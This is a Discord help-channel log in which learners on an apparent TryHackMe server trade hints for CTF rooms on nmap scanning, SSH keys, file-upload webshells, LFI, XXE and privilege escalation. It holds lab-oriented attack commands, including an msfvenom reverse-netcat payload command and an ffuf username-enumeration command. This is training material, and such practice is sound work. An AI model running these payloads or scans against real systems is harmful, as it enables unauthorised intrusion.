load pubkey “/home/kali/.ssh/id_rsa”: invalid format: download/copy the public key into .ssh, or generate it with ssh-keygen -y -f id_rsa > id_rsa.pub\

slim violet
#

what if I copy paste?

lost canopy
#

ssh into machine

slim violet
lost canopy
slim violet
#

load pubkey is a command

#

?

lost canopy
#

i will throw invalid format error

#

you will have to either download/copy the public key into .ssh, or generate it with ssh-keygen -y -f id_rsa > id_rsa.pub

slim violet
lost canopy
#

yes

slim violet
#

when I used the get command I did:

get id_rsa id_rsa_l

Should I replace

ssh-keygen -y -f id_rsa > id_rsa.pub

with

ssh-keygen -y -f id_rsa_l > id_rsa.pub
lost canopy
#

yes

slim violet
#

wait I should get the .pub file too?

#

or is it a default file in linux?

lost canopy
#

if it throws Load key “/home/kali/.ssh/id_rsa”: bad permissions then you may have to revisit the chmod step

#

understand now??

slim violet
#

but what password should I use

lost canopy
#

give me a sec

slim violet
green minnowBOT
#

Gave +1 Rep to @lost canopy

lost canopy
#

ssh -i id_rsa cactus@ip

slim violet
#

for the -i do we pass it a .pub file or could it be any file that has the key?

lost canopy
#

for the -i use the id_rsa file

slim violet
#

yo I am in, I tried the .pub file it didn't work
I tried the id_rsa_l file -> worked

#

Thank you @lost canopy

green minnowBOT
#

Gave +1 Rep to @lost canopy

slim violet
#

btw

lost canopy
#

what??

slim violet
#

for the username, was I supposed to try John then cactus to identify the ssh username orrr?

lost canopy
#

cactus is the username!!!

#

After trying unsuccessfully with john, johncactus and jcactus, I successfully connected with cactus:

#

this👆

slim violet
#

Aaah I see!!!

#

alright, time for telnet now

lost canopy
#

ok all the best

slim violet
#

what does that mean

broken meteor
#

how many ports did you scan?

slim violet
#

1000, didn't specify

lost canopy
#

-p-: Enables scanning across all ports, not just the top 1000

broken meteor
#

i thought this was hints 😛

slim violet
#

All 1000 scanned ports on ip-1fhsdbjk4.eu-west-1.compute.internal (ip) are closed
MAC Address: (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.58 seconds

lost canopy
slim violet
#

wait so it's not 0-1000 but the most 1000 used?

lost canopy
#

yes

lost canopy
slim violet
#

shouldn't telnet be a common port ? kekwsanta

lost canopy
#

telnet should be abandoned but we can't have what we want canwe lol

slim violet
#

tru tru, alright cya!

lost canopy
#

bye

slim violet
#

time to wait for the scan to finish

#

bye

rigid grove
#

guys im trying to do the mustacchio room foothold but i cant get any access in and ive got the ||private key of barry user but now matter how i try to copy it i always get this error: ssh barry@10.10.24.2 -i id_rsa
Load key "id_rsa": invalid format
barry@10.10.24.2: Permission denied (publickey) ||

hoary cape
hoary cape
#

id_rsa = A

#

a means what?

sturdy hearth
sturdy hearth
#

See the first character of the values listed there

hoary cape
#

oww

#

okey

#

😄

#

id_rsa = Archive

sturdy hearth
hoary cape
#

yep

#

thx

sturdy hearth
rigid grove
#

this is the ||id_rsa||

#

yes

white salmon
cobalt nebula
#

Is it normal for nmap scans using -p- to take a considerable amount of time?

left thunder
green minnowBOT
#

Gave +1 Rep to @left thunder

hallow tinsel
#

Anyone can help me on NahamStore Task 10 Blind XXE? Thanks very much.

terse eagle
broken meteor
#

in burp suite room, task 11. having trouble finding a score board on the OWASP juice website or any options that add the mentioned scope locations. any ideas where i'm messing up?

disregard, i did the prior parts of the room on an earlier machine and did not do the challenges (leaving a 0 star review, etc) when creating the new site map on this machine

drifting plinth
#

Tried running this and it just returns the math and not the flag am I missing something? Print(21 + 43)
In the code editor, print the result of 21 + 43. What is the flag?

wheat helm
drifting plinth
#

@wheat helm Oh, sorry. Sorry python basics task 3 question 1.

drifting plinth
#

Nevermind, figured it out

hallow tinsel
#

Hey Finally, I know how to play Blind XXE in xlsx file. Yeah 😆

#

Thanks @terse eagle

green minnowBOT
#

Gave +1 Rep to @terse eagle

lost canopy
# rigid grove yes

you will have to either download/copy the public key into .ssh, or generate it with ssh-keygen -y -f id_rsa > id_rsa.pub

#

@rigid grove this should solve your error

rigid grove
green minnowBOT
#

Gave +1 Rep to @lost canopy

white salmon
#

Hello. in the content discovery, task 2, I click on the link in the description pane but the link opens locally but inaccessible. If I start in the machine, it does not open either. what shall I do ?

left thunder
white salmon
left thunder
# white salmon I am using attackbox

Then either open the tryhackme room page directly inside your attackbox (only possible if you are sub). Or simply copy the link address, paste it to the attackbox and open the target machine link inside the attackbox

white salmon
#

Whaou, I think this is what I did already. I trying again...

#

I typed manually as I don't know how to paste the link between my local browser and the machine...

left thunder
#

Use the copy paste clipboard in between the split view.

white salmon
#

Okay !!!

white salmon
green minnowBOT
#

Gave +1 Rep to @left thunder

ionic bear
#

Anyone started the thief room? It was created today.

jaunty galleon
#

hile uploadvulns exercise 9 magic number.

#

*file

#

I ve been able to upload the hex modified payload. I do not get how to nvigate to the webshell with the uri???? ie with directory indexing off.

left thunder
jaunty galleon
left thunder
jaunty galleon
#

yes

left thunder
# jaunty galleon yes

If you sure your gobuster command was correct, check your /etc/hosts file if you have duplicates in there and get rid of them, so that only the current target machine IP and the host names for that machine are left

jaunty galleon
#

ok

#

thanks @left thunder I am using kali on docker on my windows machine i had to update ip on my kali /etc/hosts. I am able to get enumeration now, how do i reference my webshell with context indexing off?

green minnowBOT
#

Gave +1 Rep to @left thunder

left thunder
jaunty galleon
#

I prefer using a webshell.hmm pretty straightforward. They gave a me a forbidden access for the upload folder, and i though i could not access the file as well. Thanks

#

thanks again @left thunder

green minnowBOT
#

Gave +1 Rep to @left thunder

dire oriole
#

!d bump

plucky pecan
#

Hi guys, i have a generell question and i'mnot sure were it belongs"

What would you recommand to do after completing complete beginner and jr. Pentester pathway?

left thunder
plucky pecan
green minnowBOT
#

Gave +1 Rep to @left thunder

left thunder
plucky pecan
runic ore
#

room: dogcat
why still no. 3?😑

#

last flag is still left even after getting the root🤦

#

working on this room since last 2 days😄 .....simply loved it❤️

#

yeah, it must be....didn't need help...just wanted to express how I felt not getting the last flag inside /root🙆‍♂️

#

no, I don't

#

thanks for asking though

#

I had a doubt infact

#

just a min

#

sure

#

while I was trying out payloads to get rce from lfi, I used this command 1st as it's given here.......notice that \ before $

#

and I got this error

#

later I dropped that \ used for esacaping $ but I had to get new IP to reset everything

runic ore
runic ore
#

the error was in the access.log.....later I reset the machine and didn't use \ and so the command worked for me

#

yeah

#

but wasn't there any other way to resolve the error rather than resetting the machine is my question....

#

but that will only work if \ isn't already inside access.log

#

once it is

#

what to do other than resetting the machine

cyan pond
#

Good morning all. I am attempting the priv esc in Vulnversity. I've almost gotten one technique to work but not sure if I am on the track. I can provide details of what I've done thus far. Any thoughts or ideas would be appreciated.

runic ore
#

exactly

#

got that error several times while testing after I got the RCE (trying out for reverse shell)

#

the reason for the error isn't just restricted to using \

drifting plinth
#

Could I get some help here. Python basics, task6, question 2. What did I do wrong?

#

shipping_cost_per_kg = 1.20
customer_basket_cost = 34
customer_basket_weight = 44

if(customer_basket_cost >= 100):
print('Free shipping!')
else:
shipping_cost = customer_basket_weight * shipping_cost_per_kg
customer_basket_cost = 44 * 1.20

print("Total basket cost including shipping is " + str(customer_basket_cost))

obtuse fjord
drifting plinth
green minnowBOT
#

Gave +1 Rep to @obtuse fjord

obtuse fjord
drifting plinth
obtuse fjord
drifting plinth
green minnowBOT
#

Gave +1 Rep to @obtuse fjord

slim violet
#

hi

#

I am in
Network Services

#

Task 6 - the telnet part
I first did
"nmap <the_ip>"
all were closed, so now I tried doing
"nmap <the_ip> -p-" to scan all, but this will take forever, so I was thinking about if this is the right step orr?

flat juniper
#

if they all showed up as closed you could try -Pn ....or to speed up the -p- scan you could slap on --min-rate=10000 or some abysmal number, but that could result in some missed ports, just be aware of that posibility

slim violet
slim violet
#

Based on the title returned to us, what do we think this port could be used for?

what title is it talking aboit?

raven saddle
#

hey I'm stuck in the file inclusion room task 5 question 4. could i get some help?

flat juniper
raven saddle
drifting plinth
#

Intro to Django task2 when I run this command django-admin startproject {project_name} I get an error. Invalid project name. I tried making up one and still got the error. any help is appreciated.

past tartan
#

Im in the Username Enumeration room and i am just unfamiliar with how to save my fuff command as a .txt file...(ive guess all the usernames tho) but i want to make sure i have the file for the rest of the exercises.

past tartan
#

nm figured it out 🙂

hoary mortar
#

Hello, am working on zthobscurewebvulns: task 22, and I can't get my payload to work,

#

I have tried using the entity created on every element but nothing is working, can anyone point out what I'm doing wrong?

#

i worked it out, just a simple mistake

mental quarry
#

Hi, I was working on the marketplace room. I have managed to get the initial foothold, but was unable to laterally escalate my privileges to the michael user. I have tried the wildcard injection for tar, but it's not working for some reason. Any help would be appreciated

serene badger
#

doing the pickle rick room rn got to the login page but cant find any other leads

#

so no ssh needed for now, gobuster is still running

#

saw the robots.txt but didnt see anything that i thought would be anything

#

if i got the user i could prob use something like hydra right?

#

oh

#

hahaha

#

damnit

#

alright

#

lemme check the website pages again

#

alright

mental quarry
#

Used this command to get the payload -> msfvenom -p cmd/unix/reverse_netcat lhost=xx.x.xxx.xxx lport=4444 R

serene badger
#

cant use it to login tho

#

lemme try using it as a user for ssh

#

hmm

mental quarry
#

Was following this article only

#

And used as it is mentioned there

#

sudo -u michael /opt/backups/backup.sh

serene badger
#

how do i set something as a spoiler again

mental quarry
serene badger
#

got the ||index.html, robots.txt and login.php|| idk if those are all thats needed rn?

#

then what the hell am i missing XD

#

....

#

im so stupid

#

thanks very much

mental quarry
#

Yeah got it. I got so frustrated, that I didn't think about chmod, I was using chown, F.

#

Thanks 😄

green minnowBOT
#

Gave +1 Rep to @dusk totem

serene badger
#

@white salmon is it right that i cant cd to locations with this command terminal?

#

i found the second one tho, but cant open it, or atleast dont know how to for now

#

it has no extension and cat doesnt work

#

wait

flat juniper
serene badger
#

if it has no extension it must be a dir

serene badger
#

the dir theory wasnt right

#

hmm

flat juniper
#

the directory from which you issue a command will be static at all times, so you might want to chain commands together.

serene badger
#

so try to use the pipeline?

#

ah ';' would work here then

#

got it, i was too stupid to use use ' ' for a space in file name

#

got that it was ascii text via file

#

do i need the ssh for the last one?

slim violet
slim violet
#

In Network Services, Task 6, what exactly are they asking for in:


Based on the title returned to us, what do we think this port could be used for?
slim violet
#

aren't some sites better?

left thunder
# slim violet aren't some sites better?

I'm not sure what you deem as better. I guess there is no site as detailed as nmap.org itself. But I don't know, so you might have to research that on your own, but the man page or nmap -h should provide you with enough infos.

left thunder
slim violet
#

Working on it! blobfingerguns

#

@left thunder

I did

nmap <the ip> -p 8012 -sV 

As I think-sV would help, but it's returning something very big, is that ok?

#

Any hints on what that extra parameter is?

left thunder
#

Extra parameter? You mean the -sV flag ?

slim violet
left thunder
# slim violet other than the -sV orr thats what am supposed to use?

Ye, with the -sV flag you should be able to get the desired result. But you could send a screenshot of your scan result in here, in order for me to verify it worked properly as that machine sometimes is a bit finicky. Just delete it afterwards again or put spoiler tags on that screenshot

slim violet
#

||checking if this is how you send a hidden msg||

#

oh i c

#

@left thunder is this what I am supposed to see?

left thunder
# slim violet

Yup. Maybe the answer format confuses you a bit. So it's just what you can find in that result and put it in the answer like "a banana" or "a car" etc.

slim violet
#

btw,

|| S\x20BACKDOOR.\x20Type\x20.HELP\x20to\x20view\ ||

why does it look like its some address of folders or something?

left thunder
slim violet
#

wait one more question

#

@left thunder
Now I have seen that it's a ||backdoor||, how did I determine that's its a ||telnet port||?
what's meant by ||backdoor||

vernal plank
#

Hi Team, I dont know if someone can fire me over a hint (new to linux CLI btw). Trying to run the following command in Room Network Services 2 from the tmp/mount: mount -t nfs (IP) /tmp/mount -nolock. I am getting error 'can't find in /etc/fstab' any hints most welcome (figured it out ignore pls)

slim violet
#

I am Network Services 1
XD

vernal plank
#

Haha yeh just finished that @slim violet

slim violet
#

Just wanna check something

vernal plank
#

ofc

slim violet
green minnowBOT
#

Gave +1 Rep to @vernal plank

serene badger
#

im doing the team room

#

seems like gobuster isnt giving anything useful and cant login to ftp anonymously

#

anyone got a hint on what i should do?

#

doing that with gobuster but its not giving much

#

icons and small is all im getting atm

#

ah hold on

#

never done that

#

thought they were the same thing

#

yeah i noticed now

#

XD

#

which tool do you suggest on kali?

#

do i need some wordlists or are those in the /usr/share/wordlist folder

serene badger
#

@white salmon could you help me?

#

as command

flat juniper
broken meteor
#

hi i'm on upload vulns task 9, trying to upload a shell to magic.uploadvulns.thm. i have already changed the hex numbers to spoof a ||.gif|| file, verified by 'file' command, but when i attempt to actually upload the shell i'm getting a submit=failure / no file selected error, any ideas where i'm going wrong?

broken meteor
junior wave
#

Quick question about the file inclusion room

#

I had to use 8 ../ to see etc/passwd

#

Is there any way to know how many times you have to go back in the directory or is just a shot in the dark

grave valve
#

most of the time you don't know the directory structure of the host so doing enough of them ensures you're in the root of it.

junior wave
#

Also, in the same room I'm using the command ssh -i id_rsa ||falcon||@ip and getting the error "load key invalid format". I've copy pasted the the rsa from source code and did chmod 600 so I dunno what the problem is

grave valve
#

is the private key properly formatted ?

junior wave
#

The end rsa private key isn't indented

grave valve
#

it requires a newline at the end

junior wave
#

And at the top?

grave valve
#

should start with the key

junior wave
#

May I send a picture of it?

grave valve
#

yes but obscure the key and only show the relevant parts

junior wave
grave valve
#

hmm I think the space in front of begin and end is bothering ssh

green minnowBOT
#

Gave +1 Rep to @grave valve

grave valve
#

you're welcome

white salmon
#

Phishing

#

@ripe hedge

steady stratus
#

sorted (: ty @white salmon

solar island
#

Hi. I'm blocked in the Network Services 2, Task 4 Exploiting NFS. I think my problem is to login with SSH

flat juniper
solar island
#

I'm here:

#

And then i should do this:
Now, SSH into the machine as the user. List the directory to make sure the bash executable is there. Now, the moment of truth. Lets run it with "./bash -p"

solar island
flat juniper
solar island
#

Ok. But i got this, and don't know where to search for the flag:

flat juniper
solar island
#

It's always there.. but there is not and i looked in the folders and can't find it:

flat juniper
solar island
#

thanks @flat juniper

#

i done linux basis but seems i should improve more. I get stucked in understanding basis

broken meteor
#

hello, i'm working on the uploadvulns room jewel challenge, and i'm able to get my file with a payload uploaded to the site, but it returns this error instead of activating a shell. also here is the response i'm getting in burpsuite when trying to load that file. any ideas where i'm messing up? i think it might be the payload itself, gonna search around for some others

alpine inlet
#

To find what services are running on a machine using nmap, do I have to specify open ports?

loud nebula
#

What do you mean?

broken meteor
# broken meteor hello, i'm working on the uploadvulns room jewel challenge, and i'm able to get ...

okay switched shells to one that i think is more suitable, figured out i probably need to use ||/admin|| to launch the file itself, and am navigating (i think correctly?) to the file by inputting ||../content/FILE.jpg|| but am getting "module not available". the page seems to hang and i do have a nc listener set up for the port listed in the payload, but no shell. any help with where i'm going wrong? pretty stuck rn

flat juniper
broken meteor
#

okay i watched the walkthrough and i'm doing p much the exact same thing :/

leaden salmon
left thunder
leaden salmon
sturdy hearth
dry scroll
#

in the walkthroughs when it gets to exploit-db everyone seems to be pulling a .c file straight from exploitdb but when I check it's just a .TXT of instructions

#

either they're not showing a conversion of some kind that happened before writing or making the video or I just don't know how to do it

tranquil parcel
#

If you are talking about task 5, searching exploit-db will give both .txt and .c files

#

So just keep looking different results on exploit-db or use searchsploit to see the file-extensions. You don't need to transform .txt to .c @dry scroll

dry scroll
#

🤦‍♂️ thanks, I was fighting the first search result hard and it was just the next one down

broken meteor
#

working on pickle rick CTF, in the enumerating stage. i'm running gobuster scans with different wordlists to try and find a login page to use what i think is the username/pw but i can not seem to find it. i've looked in source code / site map in burpsuite also. do i just keep trying different wordlists? would love some direction/hints 🙂

wheat helm
#

||directory-list-2.3-medium.txt||

broken meteor
green minnowBOT
#

Gave +1 Rep to @wheat helm

broken meteor
wheat helm
#

No problem! Happy hacking!

#

Weird 🤷

west ibex
#

Hey can anyone help me I'm having problems in one of the easier rooms.

flat juniper
hoary cape
#

owasp top 10 room

hoary cape
wheat helm
#

What task?

hoary cape
#

task 5

wheat helm
#

Are you connected to the VPN?

hoary cape
#

yeah

wheat helm
#

Can you share a screenshot please?

hoary cape
#

10 minutes ago it was fine

#

its ok right now

grizzled wren
#

any help for Buffer Overflow?

#

Cross posting from #room-help. Hey, for Buffer Overflow, I have removed a bad char in my payload, but it still shows as a bad char. Example: Initially, a0, a1, ad, ae are the bad chars. I removed a0, restarted Immunity, ran exploit.py, ran the mona, and I now see a0, ad, ae as the remaining bad char. Am I doing it right?

serene badger
#

need some help with the team room

#

im trying to change my host file but it doesnt wanna connect

serene badger
#

ahhh got it, thanks

#

thx for the help back then with the fuzzing, im just picking up where i left of haha

drifting plinth
#

so help please. Authentication bypass, task 2 when running command. I get error, No file/directory exists. Am I missing something?

#

ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.44.107/customers/signup -mr "username already exists"

serene badger
#

first off, i cant help but which room?

drifting plinth
serene badger
#

ahh right sorry didnt see that

drifting plinth
#

@white salmon I don't remember supplying a word list. I probably missed a step some where.

drifting plinth
#

@white salmon I do understand that. I was under the assumption that the wordlist was already installed on the Vm.

arctic spindle
#

Ooof, I found my mistake. On Task 2 it tells you to create a file called "valid_usernames.txt"

For those who run into issues, do "vi <filename>"
Then use vi editor to add in the usernames found in task 2

shell token
#

Hey I have a question about nmap, on the THM. I'ts the first nmap room i think.
Perform a TCP SYN scan on the first 5000 ports of the target -- how many ports are shown to be open?

#

the anwser is 5

#

but i only got 1 back on my scan

arctic spindle
shell token
#

its the fveryfirst room

#

sudo nmap -p 1-500 -sS 10.10.42.134 -vv -Pn